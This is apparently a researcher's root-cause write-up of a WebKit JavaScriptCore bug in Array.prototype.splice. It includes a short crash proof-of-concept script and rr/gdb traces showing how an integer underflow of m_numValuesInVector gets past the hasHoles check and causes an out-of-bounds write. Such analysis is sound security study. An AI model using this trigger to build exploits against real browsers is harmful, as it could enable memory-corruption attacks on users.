PoC and slice

PoC:

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
    print(arr)
}

main();

To begin, we need to reveal the definition of slice from MDN:

The splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements

var months = ['Jan', 'March', 'April', 'June'];
months.splice(1, 0, 'Feb');
// inserts at 1st index position
console.log(months);
// expected output: Array ['Jan', 'Feb', 'March', 'April', 'June']

months.splice(4, 1, 'May');
// replaces 1 element at 4th index
console.log(months);
// expected output: Array ['Jan', 'Feb', 'March', 'April', 'May']

Crash Root Cause

Long time no see…let’s analyze CVE now. We use rr for record and replay. Let’s try to find root cause without seeing Loki’s writeup.

Use sudo rr record ./jsc exp.js and then sudo rr replay, then c to continue execution.

0x0000561d05caa92a in JSC::WriteBarrierBase at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:169
169	    void clear() { m_value = JSValue::encode(JSValue()); }

And then, we can see the gdb, clear() convert a JSValue to Int64 to store it in array:

RAX  0x7fb0000fe678 <- 0x0
---
0x561d05caa92a    mov    qword ptr [rax], rdx
---
169     void clear() { m_value = JSValue::encode(JSValue()); }

Obviously, a null pointer dereference here, which leads to the segment fault. And the value of $RAX is from mov rax, qword ptr [rbp - 0x18] -> 0x7fffa4077668: 0x00007fb0000fe678. Let’s continue keep tracking those data.

Then, we can find the JsValue() return 0 to JSValue::encode(). This is probably where the 0 in RAX from. It calls clear() functions, we can track to here and assume that it convert all value to Int64 for storing:

// in shiftCountWithArrayStorage
1059     for (unsigned i = 0; i < count; i++)
1060         vector[i + startIndex].clear();
---
(rr) p startIndex
$3 = 4294967280 // equals to 0xfffffff0
(rr) p i
$4 = 0

An obvious OOB here. The startIndex looks familiar, it must be some value from main() function.

Continue, we can see:

if (startIndex) {
  if (moveFront)
    memmove(vector, vector + count, startIndex * sizeof(JSValue));
  else if (length - startIndex)
    memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}

length == startIndex here, so memmove will not be executed. It’s not hard for us to assume that WebKit is executing arr.splice(0xfffffff0, 0, 1); function: if the array is long enough, it will append 1 after length 0xfffffff0. The length is 0xfffffff0 now, so the memmove will be ignored. If we we managed to fake the startIndex slightly less to length, we can do an OOB Write.

The crash part is clear. The next question comes: why does WebKit believes us have an object with length 0xfffffff0, while the real length is much smaller.

Find the OOB

Continue our reverse execution. Use watch *0x7fa8000fe6e0(the address of length) and press rc to trace the change of length.(You may see it several round, stop until auxWord == 0xfffef) Finally at:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/IndexingHeader.h
65     void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; }

Obviously we didn’t set up such value. Use backtrace to see what happens:

#0  0x0000561d05caaa80 in JSC::IndexingHeader::setPublicLength
#1  0x0000561d05cadbbf in JSC::ArrayStorage::setLength
#2  0x00007fba9b22b13b in JSC::JSArray::shiftCountWithArrayStorage
#3  0x00007fba9b22bdc8 in JSC::JSArray::shiftCountWithAnyIndexingType
#4  0x00007fba9b17ea84 in JSC::JSArray::shiftCountForSplice

Okay, it is in arr.splice(0, 0x11)(0x100000 - 0x11 = 0xfffef). The JSArray::shiftCountForSplice is triggered before setPublicLength. So b *JSC::JSArray::shiftCountForSplice. rc to there, and then investigate the problem by n. When we reach here:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/JSArray.cpp
   815     unsigned length = oldLength - count;
   816     
-> 817     storage->m_numValuesInVector -= count;
---
(rr) p storage->m_numValuesInVector 
$29 = 1
(rr) p count
$30 = 17

This is an integer overflow. After the minus, we get storage->m_numValuesInVector == 0xfffffff0. Yes, this is equal to the second length we set in the code. Where did we get 1 and 17. In the first line arr = [1], representing the real total number of elements in our array(instead of arr.length = 0x100000), and we arr.splice(0, 0x11). This results 1 - 0x11 which equals to 1 - 17.

Now, let’s go back to where the crash happen. Let view JSArray.cpp:

// In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/JSArray.cpp
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) {
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
    return false;

bool moveFront = !startIndex || startIndex < length / 2;

unsigned vectorLength = storage->vectorLength();

...

if (startIndex) {
    if (moveFront)
        memmove(vector, vector + count, startIndex * sizeof(JSValue));
    else if (length - startIndex)
        memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}

for (unsigned i = 0; i < count; i++)
    vector[i + startIndex].clear();

return true;

...
}

Here is a storage->hasHoles() check, which implements through:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/ArrayStorage.h
72     bool hasHoles() const
73     {
74         return m_numValuesInVector != length();
75     }  

The m_numValuesInVector is set to be equal through arr.splice(0, 0x11), allowing us to bypass the check. And eventually OOB happens.